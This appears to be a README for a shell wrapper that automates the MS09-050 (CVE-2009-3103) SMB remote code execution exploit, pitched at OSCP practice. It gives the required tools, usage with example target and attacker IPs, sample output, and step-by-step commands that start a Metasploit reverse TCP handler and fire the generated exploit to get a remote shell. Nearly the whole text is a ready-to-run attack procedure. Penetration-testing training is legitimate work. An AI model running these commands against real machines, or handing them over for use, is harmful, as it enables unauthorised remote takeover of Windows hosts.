
One-liner setup for MS09-050 (CVE-2009-3103) exploitation. No fuss, no debugging, just works.
Most MS09-050 scripts floating around require manual shellcode injection, have timing issues with handlers, or just don't work. This wrapper:
Built for OSCP prep where time matters.
msfvenommsfconsolepython2rpcclient (usually pre-installed)./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]
./ms09_050.sh 192.168.233.40 192.168.45.232 443
Output:
[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
- exploit.py
- handler.rc
=== RUN ===
Terminal 1: msfconsole -q -r handler.rc
Terminal 2: python2 exploit.py 192.168.233.40
Terminal 1 - Start handler:
msfconsole -q -r handler.rc
Wait for: Started reverse TCP handler on ...
Terminal 2 - Run exploit:
python2 exploit.py 192.168.233.40
Check Terminal 1 for your shell.
windows/shell/reverse_tcp) - works reliably with the stager in this exploitOriginal exploit based on ohnozzy's MS09-050 PoC.
MIT - Do whatever you want, just don't be evil.